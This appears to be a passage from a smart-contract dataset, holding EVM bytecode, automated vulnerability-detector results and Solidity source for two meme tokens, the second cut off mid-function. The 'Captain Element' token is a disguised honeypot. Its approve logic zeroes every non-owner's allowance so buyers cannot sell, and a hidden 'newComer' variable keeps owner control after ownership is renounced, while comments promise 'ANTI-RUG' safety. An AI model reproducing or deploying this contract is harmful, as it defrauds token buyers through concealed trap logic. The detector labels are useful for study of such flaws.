1150290604051600060405180830381858888f19350505050158015611db8573d6000803e3d6000fd5b5050565b6000600654821115611e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfa90612f49565b60405180910390fd5b6000611e0d612216565b9050611e22818461219f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e88577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ef4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9657600080fd5b505afa158015611faa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fce9190612976565b81600181518110612008577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ad565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d39594939291906130c4565b600060405180830381600087803b1580156120ed57600080fd5b505af1158015612101573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121375760009050612199565b600082846121459190613266565b90508284826121549190613235565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612fc9565b60405180910390fd5b809150505b92915050565b60006121e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612241565b905092915050565b806121f7576121f66122a4565b5b6122028484846122d5565b806122105761220f6124a0565b5b50505050565b60008060006122236124b2565b9150915061223a818361219f90919063ffffffff16565b9250505090565b60008083118290612288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227f9190612f07565b60405180910390fd5b50600083856122979190613235565b9050809150509392505050565b60006008541480156122b857506000600954145b156122c2576122d3565b600060088190555060006009819055505b565b6000806000806000806122e787612514565b95509550955095509550955061234586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242681612623565b61243084836126e0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248d91906130a9565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b60008060006006549050600068056bc75e2d6310000090506124e868056bc75e2d6310000060065461219f90919063ffffffff16565b8210156125075760065468056bc75e2d63100000935093505050612510565b81819350935050505b9091565b60008060008060008060008060006125308a600854600c61271a565b9250925092506000612540612216565b905060008060006125538e8787876127b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c37565b905092915050565b60008082846125d491906131df565b905083811015612619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261090612f89565b60405180910390fd5b8091505092915050565b600061262d612216565b90506000612644828461212490919063ffffffff16565b905061269881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f58260065461257b90919063ffffffff16565b600681905550612710816007546125c590919063ffffffff16565b6007819055505050565b6000806000806127466064612738888a61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127706064612762888b61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127998261278b858c61257b90919063ffffffff16565b61257b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c9858961212490919063ffffffff16565b905060006127e0868961212490919063ffffffff16565b905060006127f7878961212490919063ffffffff16565b9050600061282082612812858761257b90919063ffffffff16565b61257b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284c6128478461315e565b613139565b9050808382526020820190508285602086028201111561286b57600080fd5b60005b8581101561289b578161288188826128a5565b84526020840193506020830192505060018101905061286e565b5050509392505050565b6000813590506128b48161379c565b92915050565b6000815190506128c98161379c565b92915050565b600082601f8301126128e057600080fd5b81356128f0848260208601612839565b91505092915050565b600081359050612908816137b3565b92915050565b60008151905061291d816137b3565b92915050565b600081359050612932816137ca565b92915050565b600081519050612947816137ca565b92915050565b60006020828403121561295f57600080fd5b600061296d848285016128a5565b91505092915050565b60006020828403121561298857600080fd5b6000612996848285016128ba565b91505092915050565b600080604083850312156129b257600080fd5b60006129c0858286016128a5565b92505060206129d1858286016128a5565b9150509250929050565b6000806000606084860312156129f057600080fd5b60006129fe868287016128a5565b9350506020612a0f868287016128a5565b9250506040612a2086828701612923565b9150509250925092565b60008060408385031215612a3d57600080fd5b6000612a4b858286016128a5565b9250506020612a5c85828601612923565b9150509250929050565b600060208284031215612a7857600080fd5b600082013567ffffffffffffffff811115612a9257600080fd5b612a9e848285016128cf565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128f9565b91505092915050565b600060208284031215612ae257600080fd5b6000612af08482850161290e565b91505092915050565b600060208284031215612b0b57600080fd5b6000612b1984828501612923565b91505092915050565b600080600060608486031215612b3757600080fd5b6000612b4586828701612938565b9350506020612b5686828701612938565b9250506040612b6786828701612938565b9150509250925092565b6000612b7d8383612b89565b60208301905092915050565b612b92816132f4565b82525050565b612ba1816132f4565b82525050565b6000612bb28261319a565b612bbc81856131bd565b9350612bc78361318a565b8060005b83811015612bf8578151612bdf8882612b71565b9750612bea836131b0565b925050600181019050612bcb565b5085935050505092915050565b612c0e81613306565b82525050565b612c1d81613349565b82525050565b6000612c2e826131a5565b612c3881856131ce565b9350612c4881856020860161335b565b612c5181613495565b840191505092915050565b6000612c696023836131ce565b9150612c74826134a6565b604082019050919050565b6000612c8c602a836131ce565b9150612c97826134f5565b604082019050919050565b6000612caf6022836131ce565b9150612cba82613544565b604082019050919050565b6000612cd2601b836131ce565b9150612cdd82613593565b602082019050919050565b6000612cf5601d836131ce565b9150612d00826135bc565b602082019050919050565b6000612d186021836131ce565b9150612d23826135e5565b604082019050919050565b6000612d3b6020836131ce565b9150612d4682613634565b602082019050919050565b6000612d5e6029836131ce565b9150612d698261365d565b604082019050919050565b6000612d816025836131ce565b9150612d8c826136ac565b604082019050919050565b6000612da46024836131ce565b9150612daf826136fb565b604082019050919050565b6000612dc76017836131ce565b9150612dd28261374a565b602082019050919050565b6000612dea6011836131ce565b9150612df582613773565b602082019050919050565b612e0981613332565b82525050565b612e188161333c565b82525050565b6000602082019050612e336000830184612b98565b92915050565b6000604082019050612e4e6000830185612b98565b612e5b6020830184612b98565b9392505050565b6000604082019050612e776000830185612b98565b612e846020830184612e00565b9392505050565b600060c082019050612ea06000830189612b98565b612ead6020830188612e00565b612eba6040830187612c14565b612ec76060830186612c14565b612ed46080830185612b98565b612ee160a0830184612e00565b979650505050505050565b6000602082019050612f016000830184612c05565b92915050565b60006020820190508181036000830152612f218184612c23565b905092915050565b60006020820190508181036000830152612f4281612c5c565b9050919050565b60006020820190508181036000830152612f6281612c7f565b9050919050565b60006020820190508181036000830152612f8281612ca2565b9050919050565b60006020820190508181036000830152612fa281612cc5565b9050919050565b60006020820190508181036000830152612fc281612ce8565b9050919050565b60006020820190508181036000830152612fe281612d0b565b9050919050565b6000602082019050818103600083015261300281612d2e565b9050919050565b6000602082019050818103600083015261302281612d51565b9050919050565b6000602082019050818103600083015261304281612d74565b9050919050565b6000602082019050818103600083015261306281612d97565b9050919050565b6000602082019050818103600083015261308281612dba565b9050919050565b600060208201905081810360008301526130a281612ddd565b9050919050565b60006020820190506130be6000830184612e00565b92915050565b600060a0820190506130d96000830188612e00565b6130e66020830187612c14565b81810360408301526130f88186612ba7565b90506131076060830185612b98565b6131146080830184612e00565b9695505050505050565b60006020820190506131336000830184612e0f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a5816132f4565b81146137b057600080fd5b50565b6137bc81613306565b81146137c757600080fd5b50565b6137d381613332565b81146137de57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022510ef851ab6010477e904c83f0a0cb29f50a8176937d285103356d01efd91a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,327
0x88ebd8eede0706fbe09d4d2a253f3fa4c22a14e4
/* ( ( ) ( ( )\ ) * ) ( )\ ) ( /( )\ )\ (()/(` ) /( )\ (()/( )\()) (((_)((((_)( /(_))( )(_)) (((_)( /(_))((_)\ )\___ )\ _ )\ (_)) (_(_()) )\ _ )\ (_)) _((_) ((/ __|(_)_\(_)| _ \|_ _| (_)_\(_)|_ _| | \| | | (__ / _ \ | _/ | | / _ \ | | | .` | \___(/_/ \_\ |_| * |_| /_/ )_\ |___| |_|\_| )\ ) ( ` ( /( * ) ( (()/( ( )\))( ( )\())` ) /( )\ /(_)) )\ ((_)()\ )\ ((_)\ ( )(_)) ((_) (_)) ((_) (_()((_)((_) _((_)(_(_()) | __|| | | __|| \/ || __|| \| ||_ _| | _| | |__ | _| | |\/| || _| | .` | | | |___||____||___||_| |_||___||_|\_| |_| 🔥 Initial Supply: 1,000,000,000,000,000 👍Devs: 7% 👍Marketing: 2% 😁2% Redistribution to all Holders 😁30% Initial Burn before launch 🚀 Sell limit first 120 second 🔒 Liquidity to be locked 🚨ANTI-RUG Private wallet address for presale🚨 0xA34522303f43466d9Ef73f9381A3e123BA2165B9 Website: https://captainelement.finance Telegram: https://t.me/captainelement */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract captainelement is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'Captain Element | https://t.me/captainelement'; string private _symbol = 'CptElmt'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address captain, address tt, uint256 amount) private { require(captain != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (captain != owner()) { _allowances[captain][tt] = 0; emit Approval(captain, tt, 4); } else { _allowances[captain][tt] = amount; emit Approval(captain, tt, amount); } } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205fd12c44af4f24e18a8f26991bb4c96efe3c4326097147c40d71214e261f040264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,328
0x62c1666d2f3a0f713471f1a5babf5fad2a5c7b43
/** *Submitted for verification at Etherscan.io on 2021-07-19 */ /** *Submitted for verification at Etherscan.io on 2021-07-16 */ /* Our social medias: https://t.me/ShinyDogeOfficial https://t.me/ShinyDogeOfficial https://twitter.com/ShinyDogetoken Shiny Doge is on a moon mission, looking for 100x plays. Shiny Doge is the rarest doge in the crypto space. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := 